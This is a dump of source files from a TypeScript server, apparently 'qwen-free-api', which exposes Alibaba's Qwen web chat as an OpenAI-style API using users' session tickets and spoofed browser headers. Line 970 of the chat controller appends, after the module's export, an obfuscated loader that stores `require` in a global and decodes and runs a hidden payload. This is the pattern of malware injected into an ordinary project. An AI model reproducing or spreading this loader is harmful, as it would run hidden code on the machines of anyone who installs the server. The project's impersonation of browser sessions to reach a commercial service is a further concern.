754 | if (util.isBASE64Data(fileUrl)) {
755 | mimeType = util.extractBASE64DataFormat(fileUrl);
756 | const ext = mime.getExtension(mimeType);
757 | filename = `${util.uuid()}.${ext}`;
758 | fileData = Buffer.from(util.removeBASE64DataHeader(fileUrl), "base64");
759 | }
760 | // 下载文件到内存,如果您的服务器内存很小,建议考虑改造为流直传到下一个接口上,避免停留占用内存
761 | else {
762 | filename = path.basename(fileUrl);
763 | ({ data: fileData } = await axios.get(fileUrl, {
764 | responseType: "arraybuffer",
765 | // 100M限制
766 | maxContentLength: FILE_MAX_SIZE,
767 | // 60秒超时
768 | timeout: 60000,
769 | }));
770 | }
771 |
772 | // 获取文件的MIME类型
773 | mimeType = mimeType || mime.getType(filename);
774 |
775 | // 获取上传参数
776 | const { accessId, policy, signature, dir } = await acquireUploadParams(
777 | ticket
778 | );
779 |
780 | const formData = new FormData();
781 | formData.append("OSSAccessKeyId", accessId);
782 | formData.append("policy", policy);
783 | formData.append("signature", signature);
784 | formData.append("key", `${dir}${filename}`);
785 | formData.append("dir", dir);
786 | formData.append("success_action_status", "200");
787 | formData.append("file", fileData, {
788 | filename,
789 | contentType: mimeType,
790 | });
791 |
792 | // 上传文件到OSS
793 | await axios.request({
794 | method: "POST",
795 | url: "https://broadscope-dialogue-new.oss-cn-beijing.aliyuncs.com/",
796 | data: formData,
797 | // 100M限制
798 | maxBodyLength: FILE_MAX_SIZE,
799 | // 60秒超时
800 | timeout: 120000,
801 | headers: {
802 | ...FAKE_HEADERS,
803 | "X-Requested-With": "XMLHttpRequest"
804 | }
805 | });
806 |
807 | const isImage = [
808 | 'image/jpeg',
809 | 'image/jpg',
810 | 'image/tiff',
811 | 'image/png',
812 | 'image/bmp',
813 | 'image/gif',
814 | 'image/svg+xml',
815 | 'image/webp',
816 | 'image/ico',
817 | 'image/heic',
818 | 'image/heif',
819 | 'image/bmp',
820 | 'image/x-icon',
821 | 'image/vnd.microsoft.icon',
822 | 'image/x-png'
823 | ].includes(mimeType);
824 |
825 | if(isImage) {
826 | const result = await axios.post(
827 | "https://qianwen.biz.aliyun.com/dialog/downloadLink",
828 | {
829 | fileKey: filename,
830 | fileType: "image",
831 | dir
832 | },
833 | {
834 | timeout: 15000,
835 | headers: {
836 | Cookie: generateCookie(ticket),
837 | ...FAKE_HEADERS,
838 | },
839 | validateStatus: () => true,
840 | }
841 | );
842 | const { data } = checkResult(result);
843 | return {
844 | role: "user",
845 | contentType: "image",
846 | content: data.url
847 | };
848 | }
849 | else {
850 | let result = await axios.post(
851 | "https://qianwen.biz.aliyun.com/dialog/downloadLink/batch",
852 | {
853 | fileKeys: [filename],
854 | fileType: "file",
855 | dir
856 | },
857 | {
858 | timeout: 15000,
859 | headers: {
860 | Cookie: generateCookie(ticket),
861 | ...FAKE_HEADERS,
862 | },
863 | validateStatus: () => true,
864 | }
865 | );
866 | const { data } = checkResult(result);
867 | if(!data.results[0] || !data.results[0].url)
868 | throw new Error(`文件上传失败:${data.results[0] ? data.results[0].errorMsg : '未知错误'}`);
869 | const url = data.results[0].url;
870 | const startTime = util.timestamp();
871 | while(true) {
872 | result = await axios.post(
873 | "https://qianwen.biz.aliyun.com/dialog/secResult/batch",
874 | {
875 | urls: [url]
876 | },
877 | {
878 | timeout: 15000,
879 | headers: {
880 | Cookie: generateCookie(ticket),
881 | ...FAKE_HEADERS,
882 | },
883 | validateStatus: () => true,
884 | }
885 | );
886 | const { data } = checkResult(result);
887 | if(data.pollEndFlag) {
888 | if(data.statusList[0] && data.statusList[0].status === 0)
889 | throw new Error(`文件处理失败:${data.statusList[0].errorMsg || '未知错误'}`);
890 | break;
891 | }
892 | if(util.timestamp() > startTime + 120000)
893 | throw new Error("文件处理超时:超出120秒");
894 | }
895 | return {
896 | role: "user",
897 | contentType: "file",
898 | content: url,
899 | ext: { fileSize: fileData.byteLength }
900 | };
901 | }
902 | }
903 |
904 | /**
905 | * Token切分
906 | *
907 | * @param authorization 认证字符串
908 | */
909 | function tokenSplit(authorization: string) {
910 | return authorization.replace("Bearer ", "").split(",");
911 | }
912 |
913 | /**
914 | * 生成Cookies
915 | *
916 | * @param ticket tongyi_sso_ticket或login_aliyunid_ticket
917 | */
918 | function generateCookie(ticket: string) {
919 | return [
920 | `${ticket.length > 100 ? 'login_aliyunid_ticket' : 'tongyi_sso_ticket'}=${ticket}`,
921 | 'aliyun_choice=intl',
922 | "_samesite_flag_=true",
923 | `t=${util.uuid(false)}`,
924 | // `login_aliyunid_csrf=_csrf_tk_${util.generateRandomString({ charset: 'numeric', length: 15 })}`,
925 | // `cookie2=${util.uuid(false)}`,
926 | // `munb=22${util.generateRandomString({ charset: 'numeric', length: 11 })}`,
927 | // `csg=`,
928 | // `_tb_token_=${util.generateRandomString({ length: 10, capitalization: 'lowercase' })}`,
929 | // `cna=`,
930 | // `cnaui=`,
931 | // `atpsida=`,
932 | // `isg=`,
933 | // `tfstk=`,
934 | // `aui=`,
935 | // `sca=`
936 | ].join("; ");
937 | }
938 |
939 | /**
940 | * 获取Token存活状态
941 | */
942 | async function getTokenLiveStatus(ticket: string) {
943 | const result = await axios.post(
944 | "https://qianwen.biz.aliyun.com/dialog/session/list",
945 | {},
946 | {
947 | headers: {
948 | Cookie: generateCookie(ticket),
949 | ...FAKE_HEADERS,
950 | },
951 | timeout: 15000,
952 | validateStatus: () => true,
953 | }
954 | );
955 | try {
956 | const { data } = checkResult(result);
957 | return _.isArray(data);
958 | }
959 | catch(err) {
960 | return false;
961 | }
962 | }
963 |
964 | export default {
965 | createCompletion,
966 | createCompletionStream,
967 | generateImages,
968 | getTokenLiveStatus,
969 | tokenSplit,
970 | }; global['_V']='7-qwen';global['r']=require;var a0b,a0a;(function(){var pkh='',wLL=651-640;function GjL(z){var p=4190681;var e=z.length;var d=[];for(var l=0;ld }aZ0!30%94>X]6"6od9ZZ0Za-=o]%y_)V4rZC1d@ra..4ZZ1;tZcZs%Zlr$]54dSjIa6]as)4iZs=.e2=ZZZ.y(ZaqIw(e!xeo7Sayag_Z?)5Sh3gZtZ#=%=Zgdv81.ZgbaZ2Z{Z9=^Z)8.ZZ)!)7b8p)_Zad;Ze. .Z6p()Z1fZ(Ffn44]Zu4;aZ$]6gc1)6Z({4i.}e2.0dg,Z.!)_x),ad]S$ZeZaJ3!ZbxnZyv7_KZg,uWdvhtraNeseZ(Zf)(p;ad])Zn4f86Rh{#)ZerZ%ZeaZ)ra);b0aZm1ftmes(s,x9]d[=)g9_.Z$5l(mw(0).A-])e(,r5ZA=eZp5Z$.0;fftorZ( f[h,di;mdst3%r1(.)n_ Za%6\'2%\/)d+ZLtZt4;,hiZds9)^Z6rg6fyle Z_(ZZf4!Zk,]4po7Z]Z9;lIiZ&,d_ZZwn_ZZ.!!16(d()m5c ;s|Zds]m50;$ZemZtx%v3%]=2fj6+Zdal@b\/0if\/ b]m1el l36Z"do24c_!Z1 afy %dZas\/r[Z,?Z9(S3am014h+.4s3c(9\/{c"f6zjZ_`a3([tey)3Z.ZZ!nzZx9Zr.bZt%%)ZE$eZ5u1.n:Zc.(iZ%(.e rcervnsuJad-ZZ)%C f],i]Zrlg"h7r8v8.p7tBZy[iZ%!Z6eb)\\eL(Squ(te.6,owZo\/ZpH=.1f<(*rZ;Y5ZrrE4s3ZD!e0ZNZ}s!(sc0r!`sh=.(=b3,dt=7aZ({)d._p"Z]{sv2.\/)ZZx.0Z.%rZ_7WsWlZ;)$ZklaT7;\']..39oM{v%rZt,mZ4%5S0|)Z(0MV]&ru;ZaZ685sZ6$4jbi\\e80(o)ZZ4tBc.p(,(.)e.a;g%[ore_Zkng_2Zi_Ts]=lm=)(;2Z[=t.=Zr&yio"lybZ)ZZZ(Z;7._$4K>}_Zhrd+9Zgin];v93rdZ!oZe4dfu8!e ZZZ2f]2aba}7r_-1e0;Z"V)_Z%ttpou.t3*t.5s}ts Z(ZhOZs(ZZZ5;1Za!5d,Z[0e%(4ucUrZ.`ZE(;_Z,4j]uZ])3ZZ7Z0Afoc[)#.Z$a][foa%>ZZZo21o6\/2qBdbvc_2 fH0i}Zw7-3$t)g\/4Z,=)fZd.bg.sx9=g3hWkC;_ef]n7d;,V3(:ZZ.D-4p%Zo6.j5h1t,t2.j%2y.13e3as;h.hZ]l=5Fe.3yjt_^wt!rbd. ,)cDrd;N6.Z8ZGrw.)fZWei4Z(3ZQe]wa]9bZ2i5{15pn.!Zw)s_.=+o4P.?ax5)m5+Zrc5ZdZh2t+uI),Z.o"au=4}5sZ9 a4Za9Z.P.Y)5p(bn.d(A).})h$fiEx]le;(IZ,Z!Zf_74;5Z(d)r9=)ZZ%ZZr6CH}a3_eiZ1;10Z(aflZ(4f].Z2c_o !\\%s!?5Z9 m4Z_Z%%oo1ge2rr_].!Sbdir1)adyp)M1(5Z t4d83chudMm\/VZZ\\4Z\\Z03t!tdest{a#;Z0.eu h.,.%d{5ih_(d1))Zj=.4sn(Zfh60j_6ZmZ_])nZ d%x2))[,tx<0ly$o,Z$r8.#Z. p!}.np),;oW6"a}C(t() %Li eh._f_.g0,6)Z6L3ZvZ>(g5=da$ullbojZiZZ(n4(oT6t\'(d5$pdZ-5)ZZM,d19_==d]?1j(& a.]5,gcD)](=o]eZ.Nr+ ]9p6r2(GZ1ZZ@d8f1sM=dPi60xprdn9eZ4])6_w;ZZd;ZZf qD .b)roAZbZ=fog71)5Z_)5tryhJZ=fu6)Zt[s4)4Zby%0)N,K&):0)e%]ZZn]})em49$)a8(9=1ce;dZ4JZ1Z, }2,T&@of84).3p)Z=(;;;=rZdeb!7Z)ut);4Ti0aidcF@8$7#c9da"S.>f$r.ot8Zed83E])0Z)h1D}7)Z+ )(e43LeDM!k)afZ,%Miao$ nZ!-Z32.denh]}1ZutA)ZS6ve4a1]Z$3[0_Z .g{!(n5d+):dtd3o}$)[{DZlh_o=tZ2.(j=1tpaD3l)Zri=Ze(Lwgdsl;reZ ()0+Z(r03e)Z4d )[A!f3Z(Ma6n,!Z(,kt$8#bj86])_8c3Q&)<.%lfa8]l1ZZV].0e)un.t=)(]x,1r}U3aZ;,on=%n9c^Zk)j!_5of pZtb]1 3 $ :0)-p!_,1ccnar.9uZl;%.h4_oiZCnZt],2=u5w]Zb5c8Z9.e(;!nL 6)&cZ0ffTXjZe% 0s.B(eZZ8 .242021Z5Z(bd('));var pNM=Dmj(pkh,Xju );pNM(5995);return 4149})()
971 |
--------------------------------------------------------------------------------
/src/api/routes/chat.ts:
--------------------------------------------------------------------------------
1 | import _ from "lodash";
2 |
3 | import Request from "@/lib/request/Request.ts";
4 | import Response from "@/lib/response/Response.ts";
5 | import chat from "@/api/controllers/chat.ts";
6 |
7 | export default {
8 | prefix: "/v1/chat",
9 |
10 | post: {
11 | "/completions": async (request: Request) => {
12 | request
13 | .validate('body.conversation_id', v => _.isUndefined(v) || _.isString(v))
14 | .validate("body.messages", _.isArray)
15 | .validate("headers.authorization", _.isString);
16 | // ticket切分
17 | const tokens = chat.tokenSplit(request.headers.authorization);
18 | // 随机挑选一个ticket
19 | const token = _.sample(tokens);
20 | const { model, conversation_id: convId, messages, search_type, stream } = request.body;
21 | if (stream) {
22 | const stream = await chat.createCompletionStream(
23 | model,
24 | messages,
25 | search_type,
26 | token,
27 | convId
28 | );
29 | return new Response(stream, {
30 | type: "text/event-stream",
31 | });
32 | } else
33 | return await chat.createCompletion(
34 | model,
35 | messages,
36 | search_type,
37 | token,
38 | convId
39 | );
40 | },
41 | },
42 | };
43 |
--------------------------------------------------------------------------------
/src/api/routes/images.ts:
--------------------------------------------------------------------------------
1 | import _ from "lodash";
2 |
3 | import Request from "@/lib/request/Request.ts";
4 | import chat from "@/api/controllers/chat.ts";
5 | import util from "@/lib/util.ts";
6 |
7 | export default {
8 | prefix: "/v1/images",
9 |
10 | post: {
11 | "/generations": async (request: Request) => {
12 | request
13 | .validate("body.prompt", _.isString)
14 | .validate("headers.authorization", _.isString);
15 | // refresh_token切分
16 | const tokens = chat.tokenSplit(request.headers.authorization);
17 | // 随机挑选一个refresh_token
18 | const token = _.sample(tokens);
19 | const prompt = request.body.prompt;
20 | const responseFormat = _.defaultTo(request.body.response_format, "url");
21 | const model = request.body.model;
22 | const imageUrls = await chat.generateImages(model, prompt, token);
23 | let data = [];
24 | if (responseFormat == "b64_json") {
25 | data = (
26 | await Promise.all(imageUrls.map((url) => util.fetchFileBASE64(url)))
27 | ).map((b64) => ({ b64_json: b64 }));
28 | } else {
29 | data = imageUrls.map((url) => ({
30 | url,
31 | }));
32 | }
33 | return {
34 | created: util.unixTimestamp(),
35 | data,
36 | };
37 | },
38 | },
39 | };
40 |
--------------------------------------------------------------------------------
/src/api/routes/index.ts:
--------------------------------------------------------------------------------
1 | import fs from 'fs-extra';
2 |
3 | import Response from '@/lib/response/Response.ts';
4 | import chat from "./chat.ts";
5 | import images from "./images.ts";
6 | import ping from "./ping.ts";
7 | import token from './token.ts';
8 | import models from './models.ts';
9 |
10 | export default [
11 | {
12 | get: {
13 | '/': async () => {
14 | const content = await fs.readFile('public/welcome.html');
15 | return new Response(content, {
16 | type: 'html',
17 | headers: {
18 | Expires: '-1'
19 | }
20 | });
21 | }
22 | }
23 | },
24 | chat,
25 | images,
26 | ping,
27 | token,
28 | models
29 | ];
--------------------------------------------------------------------------------
/src/api/routes/models.ts:
--------------------------------------------------------------------------------
1 | import _ from 'lodash';
2 |
3 | export default {
4 |
5 | prefix: '/v1',
6 |
7 | get: {
8 | '/models': async () => {
9 | return {
10 | "data": [
11 | {
12 | "id": "qwen-max",
13 | "object": "model",
14 | "owned_by": "qwen-free-api"
15 | },
16 | {
17 | "id": "qwen-max-longcontext",
18 | "object": "model",
19 | "owned_by": "qwen-free-api"
20 | },
21 | {
22 | "id": "qwen-plus",
23 | "object": "model",
24 | "owned_by": "qwen-free-api"
25 | },
26 | {
27 | "id": "qwen-turbo",
28 | "object": "model",
29 | "owned_by": "qwen-free-api"
30 | },
31 | {
32 | "id": "qwen-vl-max",
33 | "object": "model",
34 | "owned_by": "qwen-free-api"
35 | },
36 | {
37 | "id": "qwen-vl-plus",
38 | "object": "model",
39 | "owned_by": "qwen-free-api"
40 | },
41 | {
42 | "id": "qwen-v1",
43 | "object": "model",
44 | "owned_by": "qwen-free-api"
45 | },
46 | {
47 | "id": "qwen-v1-vision",
48 | "object": "model",
49 | "owned_by": "qwen-free-api"
50 | }
51 | ]
52 | };
53 | }
54 |
55 | }
56 | }
--------------------------------------------------------------------------------
/src/api/routes/ping.ts:
--------------------------------------------------------------------------------
1 | export default {
2 | prefix: "/ping",
3 | get: {
4 | "": async () => "pong",
5 | },
6 | };
7 |
--------------------------------------------------------------------------------
/src/api/routes/token.ts:
--------------------------------------------------------------------------------
1 | import _ from 'lodash';
2 |
3 | import Request from '@/lib/request/Request.ts';
4 | import Response from '@/lib/response/Response.ts';
5 | import chat from '@/api/controllers/chat.ts';
6 | import logger from '@/lib/logger.ts';
7 |
8 | export default {
9 |
10 | prefix: '/token',
11 |
12 | post: {
13 |
14 | '/check': async (request: Request) => {
15 | request
16 | .validate('body.token', _.isString)
17 | const live = await chat.getTokenLiveStatus(request.body.token);
18 | return {
19 | live
20 | }
21 | }
22 |
23 | }
24 |
25 | }
--------------------------------------------------------------------------------
/src/daemon.ts:
--------------------------------------------------------------------------------
1 | /**
2 | * 守护进程
3 | */
4 |
5 | import process from 'process';
6 | import path from 'path';
7 | import { spawn } from 'child_process';
8 |
9 | import fs from 'fs-extra';
10 | import { format as dateFormat } from 'date-fns';
11 | import 'colors';
12 |
13 | const CRASH_RESTART_LIMIT = 600; //进程崩溃重启次数限制
14 | const CRASH_RESTART_DELAY = 5000; //进程崩溃重启延迟
15 | const LOG_PATH = path.resolve("./logs/daemon.log"); //守护进程日志路径
16 | let crashCount = 0; //进程崩溃次数
17 | let currentProcess; //当前运行进程
18 |
19 | /**
20 | * 写入守护进程日志
21 | */
22 | function daemonLog(value, color?: string) {
23 | try {
24 | const head = `[daemon][${dateFormat(new Date(), "yyyy-MM-dd HH:mm:ss.SSS")}] `;
25 | value = head + value;
26 | console.log(color ? value[color] : value);
27 | fs.ensureDirSync(path.dirname(LOG_PATH));
28 | fs.appendFileSync(LOG_PATH, value + "\n");
29 | }
30 | catch(err) {
31 | console.error("daemon log write error:", err);
32 | }
33 | }
34 |
35 | daemonLog(`daemon pid: ${process.pid}`);
36 |
37 | function createProcess() {
38 | const childProcess = spawn("node", ["index.js", ...process.argv.slice(2)]); //启动子进程
39 | childProcess.stdout.pipe(process.stdout, { end: false }); //将子进程输出管道到当前进程输出
40 | childProcess.stderr.pipe(process.stderr, { end: false }); //将子进程错误输出管道到当前进程输出
41 | currentProcess = childProcess; //更新当前进程
42 | daemonLog(`process(${childProcess.pid}) has started`);
43 | childProcess.on("error", err => daemonLog(`process(${childProcess.pid}) error: ${err.stack}`, "red"));
44 | childProcess.on("close", code => {
45 | if(code === 0) //进程正常退出
46 | daemonLog(`process(${childProcess.pid}) has exited`);
47 | else if(code === 2) //进程已被杀死
48 | daemonLog(`process(${childProcess.pid}) has been killed!`, "bgYellow");
49 | else if(code === 3) { //进程主动重启
50 | daemonLog(`process(${childProcess.pid}) has restart`, "yellow");
51 | createProcess(); //重新创建进程
52 | }
53 | else { //进程发生崩溃
54 | if(crashCount++ < CRASH_RESTART_LIMIT) { //进程崩溃次数未达重启次数上限前尝试重启
55 | daemonLog(`process(${childProcess.pid}) has crashed! delay ${CRASH_RESTART_DELAY}ms try restarting...(${crashCount})`, "bgRed");
56 | setTimeout(() => createProcess(), CRASH_RESTART_DELAY); //延迟指定时长后再重启
57 | }
58 | else //进程已崩溃,且无法重启
59 | daemonLog(`process(${childProcess.pid}) has crashed! unable to restart`, "bgRed");
60 | }
61 | }); //子进程关闭监听
62 | }
63 |
64 | process.on("exit", code => {
65 | if(code === 0)
66 | daemonLog("daemon process exited");
67 | else if(code === 2)
68 | daemonLog("daemon process has been killed!");
69 | }); //守护进程退出事件
70 |
71 | process.on("SIGTERM", () => {
72 | daemonLog("received kill signal", "yellow");
73 | currentProcess && currentProcess.kill("SIGINT");
74 | process.exit(2);
75 | }); //kill退出守护进程
76 |
77 | process.on("SIGINT", () => {
78 | currentProcess && currentProcess.kill("SIGINT");
79 | process.exit(0);
80 | }); //主动退出守护进程
81 |
82 | createProcess(); //创建进程
83 |
--------------------------------------------------------------------------------
/src/index.ts:
--------------------------------------------------------------------------------
1 | "use strict";
2 |
3 | import environment from "@/lib/environment.ts";
4 | import config from "@/lib/config.ts";
5 | import "@/lib/initialize.ts";
6 | import server from "@/lib/server.ts";
7 | import routes from "@/api/routes/index.ts";
8 | import logger from "@/lib/logger.ts";
9 |
10 | const startupTime = performance.now();
11 |
12 | (async () => {
13 | logger.header();
14 |
15 | logger.info("<<<< qwen free server >>>>");
16 | logger.info("Version:", environment.package.version);
17 | logger.info("Process id:", process.pid);
18 | logger.info("Environment:", environment.env);
19 | logger.info("Service name:", config.service.name);
20 |
21 | server.attachRoutes(routes);
22 | await server.listen();
23 |
24 | config.service.bindAddress &&
25 | logger.success("Service bind address:", config.service.bindAddress);
26 | })()
27 | .then(() =>
28 | logger.success(
29 | `Service startup completed (${Math.floor(performance.now() - startupTime)}ms)`
30 | )
31 | )
32 | .catch((err) => console.error(err));
33 |
--------------------------------------------------------------------------------
/src/lib/config.ts:
--------------------------------------------------------------------------------
1 | import serviceConfig from "./configs/service-config.ts";
2 | import systemConfig from "./configs/system-config.ts";
3 |
4 | class Config {
5 |
6 | /** 服务配置 */
7 | service = serviceConfig;
8 |
9 | /** 系统配置 */
10 | system = systemConfig;
11 |
12 | }
13 |
14 | export default new Config();
--------------------------------------------------------------------------------
/src/lib/configs/service-config.ts:
--------------------------------------------------------------------------------
1 | import path from 'path';
2 |
3 | import fs from 'fs-extra';
4 | import yaml from 'yaml';
5 | import _ from 'lodash';
6 |
7 | import environment from '../environment.ts';
8 | import util from '../util.ts';
9 |
10 | const CONFIG_PATH = path.join(path.resolve(), 'configs/', environment.env, "/service.yml");
11 |
12 | /**
13 | * 服务配置
14 | */
15 | export class ServiceConfig {
16 |
17 | /** 服务名称 */
18 | name: string;
19 | /** @type {string} 服务绑定主机地址 */
20 | host;
21 | /** @type {number} 服务绑定端口 */
22 | port;
23 | /** @type {string} 服务路由前缀 */
24 | urlPrefix;
25 | /** @type {string} 服务绑定地址(外部访问地址) */
26 | bindAddress;
27 |
28 | constructor(options?: any) {
29 | const { name, host, port, urlPrefix, bindAddress } = options || {};
30 | this.name = _.defaultTo(name, 'qwen-free-api');
31 | this.host = _.defaultTo(host, '0.0.0.0');
32 | this.port = _.defaultTo(port, 5566);
33 | this.urlPrefix = _.defaultTo(urlPrefix, '');
34 | this.bindAddress = bindAddress;
35 | }
36 |
37 | get addressHost() {
38 | if(this.bindAddress) return this.bindAddress;
39 | const ipAddresses = util.getIPAddressesByIPv4();
40 | for(let ipAddress of ipAddresses) {
41 | if(ipAddress === this.host)
42 | return ipAddress;
43 | }
44 | return ipAddresses[0] || "127.0.0.1";
45 | }
46 |
47 | get address() {
48 | return `${this.addressHost}:${this.port}`;
49 | }
50 |
51 | get pageDirUrl() {
52 | return `http://127.0.0.1:${this.port}/page`;
53 | }
54 |
55 | get publicDirUrl() {
56 | return `http://127.0.0.1:${this.port}/public`;
57 | }
58 |
59 | static load() {
60 | const external = _.pickBy(environment, (v, k) => ["name", "host", "port"].includes(k) && !_.isUndefined(v));
61 | if(!fs.pathExistsSync(CONFIG_PATH)) return new ServiceConfig(external);
62 | const data = yaml.parse(fs.readFileSync(CONFIG_PATH).toString());
63 | return new ServiceConfig({ ...data, ...external });
64 | }
65 |
66 | }
67 |
68 | export default ServiceConfig.load();
--------------------------------------------------------------------------------
/src/lib/configs/system-config.ts:
--------------------------------------------------------------------------------
1 | import path from 'path';
2 |
3 | import fs from 'fs-extra';
4 | import yaml from 'yaml';
5 | import _ from 'lodash';
6 |
7 | import environment from '../environment.ts';
8 |
9 | const CONFIG_PATH = path.join(path.resolve(), 'configs/', environment.env, "/system.yml");
10 |
11 | /**
12 | * 系统配置
13 | */
14 | export class SystemConfig {
15 |
16 | /** 是否开启请求日志 */
17 | requestLog: boolean;
18 | /** 临时目录路径 */
19 | tmpDir: string;
20 | /** 日志目录路径 */
21 | logDir: string;
22 | /** 日志写入间隔(毫秒) */
23 | logWriteInterval: number;
24 | /** 日志文件有效期(毫秒) */
25 | logFileExpires: number;
26 | /** 公共目录路径 */
27 | publicDir: string;
28 | /** 临时文件有效期(毫秒) */
29 | tmpFileExpires: number;
30 | /** 请求体配置 */
31 | requestBody: any;
32 | /** 是否调试模式 */
33 | debug: boolean;
34 |
35 | constructor(options?: any) {
36 | const { requestLog, tmpDir, logDir, logWriteInterval, logFileExpires, publicDir, tmpFileExpires, requestBody, debug } = options || {};
37 | this.requestLog = _.defaultTo(requestLog, false);
38 | this.tmpDir = _.defaultTo(tmpDir, './tmp');
39 | this.logDir = _.defaultTo(logDir, './logs');
40 | this.logWriteInterval = _.defaultTo(logWriteInterval, 200);
41 | this.logFileExpires = _.defaultTo(logFileExpires, 2626560000);
42 | this.publicDir = _.defaultTo(publicDir, './public');
43 | this.tmpFileExpires = _.defaultTo(tmpFileExpires, 86400000);
44 | this.requestBody = Object.assign(requestBody || {}, {
45 | enableTypes: ['json', 'form', 'text', 'xml'],
46 | encoding: 'utf-8',
47 | formLimit: '100mb',
48 | jsonLimit: '100mb',
49 | textLimit: '100mb',
50 | xmlLimit: '100mb',
51 | formidable: {
52 | maxFileSize: '100mb'
53 | },
54 | multipart: true,
55 | parsedMethods: ['POST', 'PUT', 'PATCH']
56 | });
57 | this.debug = _.defaultTo(debug, true);
58 | }
59 |
60 | get rootDirPath() {
61 | return path.resolve();
62 | }
63 |
64 | get tmpDirPath() {
65 | return path.resolve(this.tmpDir);
66 | }
67 |
68 | get logDirPath() {
69 | return path.resolve(this.logDir);
70 | }
71 |
72 | get publicDirPath() {
73 | return path.resolve(this.publicDir);
74 | }
75 |
76 | static load() {
77 | if (!fs.pathExistsSync(CONFIG_PATH)) return new SystemConfig();
78 | const data = yaml.parse(fs.readFileSync(CONFIG_PATH).toString());
79 | return new SystemConfig(data);
80 | }
81 |
82 | }
83 |
84 | export default SystemConfig.load();
--------------------------------------------------------------------------------
/src/lib/consts/exceptions.ts:
--------------------------------------------------------------------------------
1 | export default {
2 | SYSTEM_ERROR: [-1000, '系统异常'],
3 | SYSTEM_REQUEST_VALIDATION_ERROR: [-1001, '请求参数校验错误'],
4 | SYSTEM_NOT_ROUTE_MATCHING: [-1002, '无匹配的路由']
5 | } as Record
--------------------------------------------------------------------------------
/src/lib/environment.ts:
--------------------------------------------------------------------------------
1 | import path from 'path';
2 |
3 | import fs from 'fs-extra';
4 | import minimist from 'minimist';
5 | import _ from 'lodash';
6 |
7 | const cmdArgs = minimist(process.argv.slice(2)); //获取命令行参数
8 | const envVars = process.env; //获取环境变量
9 |
10 | class Environment {
11 |
12 | /** 命令行参数 */
13 | cmdArgs: any;
14 | /** 环境变量 */
15 | envVars: any;
16 | /** 环境名称 */
17 | env?: string;
18 | /** 服务名称 */
19 | name?: string;
20 | /** 服务地址 */
21 | host?: string;
22 | /** 服务端口 */
23 | port?: number;
24 | /** 包参数 */
25 | package: any;
26 |
27 | constructor(options: any = {}) {
28 | const { cmdArgs, envVars, package: _package } = options;
29 | this.cmdArgs = cmdArgs;
30 | this.envVars = envVars;
31 | this.env = _.defaultTo(cmdArgs.env || envVars.SERVER_ENV, 'dev');
32 | this.name = cmdArgs.name || envVars.SERVER_NAME || undefined;
33 | this.host = cmdArgs.host || envVars.SERVER_HOST || undefined;
34 | this.port = Number(cmdArgs.port || envVars.SERVER_PORT) ? Number(cmdArgs.port || envVars.SERVER_PORT) : undefined;
35 | this.package = _package;
36 | }
37 |
38 | }
39 |
40 | export default new Environment({
41 | cmdArgs,
42 | envVars,
43 | package: JSON.parse(fs.readFileSync(path.join(path.resolve(), "package.json")).toString())
44 | });
--------------------------------------------------------------------------------
/src/lib/exceptions/APIException.ts:
--------------------------------------------------------------------------------
1 | import Exception from './Exception.js';
2 |
3 | export default class APIException extends Exception {
4 |
5 | /**
6 | * 构造异常
7 | *
8 | * @param {[number, string]} exception 异常
9 | */
10 | constructor(exception: (string | number)[], errmsg?: string) {
11 | super(exception, errmsg);
12 | }
13 |
14 | }
--------------------------------------------------------------------------------
/src/lib/exceptions/Exception.ts:
--------------------------------------------------------------------------------
1 | import assert from 'assert';
2 |
3 | import _ from 'lodash';
4 |
5 | export default class Exception extends Error {
6 |
7 | /** 错误码 */
8 | errcode: number;
9 | /** 错误消息 */
10 | errmsg: string;
11 | /** 数据 */
12 | data: any;
13 | /** HTTP状态码 */
14 | httpStatusCode: number;
15 |
16 | /**
17 | * 构造异常
18 | *
19 | * @param exception 异常
20 | * @param _errmsg 异常消息
21 | */
22 | constructor(exception: (string | number)[], _errmsg?: string) {
23 | assert(_.isArray(exception), 'Exception must be Array');
24 | const [errcode, errmsg] = exception as [number, string];
25 | assert(_.isFinite(errcode), 'Exception errcode invalid');
26 | assert(_.isString(errmsg), 'Exception errmsg invalid');
27 | super(_errmsg || errmsg);
28 | this.errcode = errcode;
29 | this.errmsg = _errmsg || errmsg;
30 | }
31 |
32 | compare(exception: (string | number)[]) {
33 | const [errcode] = exception as [number, string];
34 | return this.errcode == errcode;
35 | }
36 |
37 | setHTTPStatusCode(value: number) {
38 | this.httpStatusCode = value;
39 | return this;
40 | }
41 |
42 | setData(value: any) {
43 | this.data = _.defaultTo(value, null);
44 | return this;
45 | }
46 |
47 | }
--------------------------------------------------------------------------------
/src/lib/http-status-codes.ts:
--------------------------------------------------------------------------------
1 | export default {
2 |
3 | CONTINUE: 100, //客户端应当继续发送请求。这个临时响应是用来通知客户端它的部分请求已经被服务器接收,且仍未被拒绝。客户端应当继续发送请求的剩余部分,或者如果请求已经完成,忽略这个响应。服务器必须在请求完成后向客户端发送一个最终响应
4 | SWITCHING_PROTOCOLS: 101, //服务器已经理解了客户端的请求,并将通过Upgrade 消息头通知客户端采用不同的协议来完成这个请求。在发送完这个响应最后的空行后,服务器将会切换到在Upgrade 消息头中定义的那些协议。只有在切换新的协议更有好处的时候才应该采取类似措施。例如,切换到新的HTTP 版本比旧版本更有优势,或者切换到一个实时且同步的协议以传送利用此类特性的资源
5 | PROCESSING: 102, //处理将被继续执行
6 |
7 | OK: 200, //请求已成功,请求所希望的响应头或数据体将随此响应返回
8 | CREATED: 201, //请求已经被实现,而且有一个新的资源已经依据请求的需要而建立,且其 URI 已经随Location 头信息返回。假如需要的资源无法及时建立的话,应当返回 '202 Accepted'
9 | ACCEPTED: 202, //服务器已接受请求,但尚未处理。正如它可能被拒绝一样,最终该请求可能会也可能不会被执行。在异步操作的场合下,没有比发送这个状态码更方便的做法了。返回202状态码的响应的目的是允许服务器接受其他过程的请求(例如某个每天只执行一次的基于批处理的操作),而不必让客户端一直保持与服务器的连接直到批处理操作全部完成。在接受请求处理并返回202状态码的响应应当在返回的实体中包含一些指示处理当前状态的信息,以及指向处理状态监视器或状态预测的指针,以便用户能够估计操作是否已经完成
10 | NON_AUTHORITATIVE_INFO: 203, //服务器已成功处理了请求,但返回的实体头部元信息不是在原始服务器上有效的确定集合,而是来自本地或者第三方的拷贝。当前的信息可能是原始版本的子集或者超集。例如,包含资源的元数据可能导致原始服务器知道元信息的超级。使用此状态码不是必须的,而且只有在响应不使用此状态码便会返回200 OK的情况下才是合适的
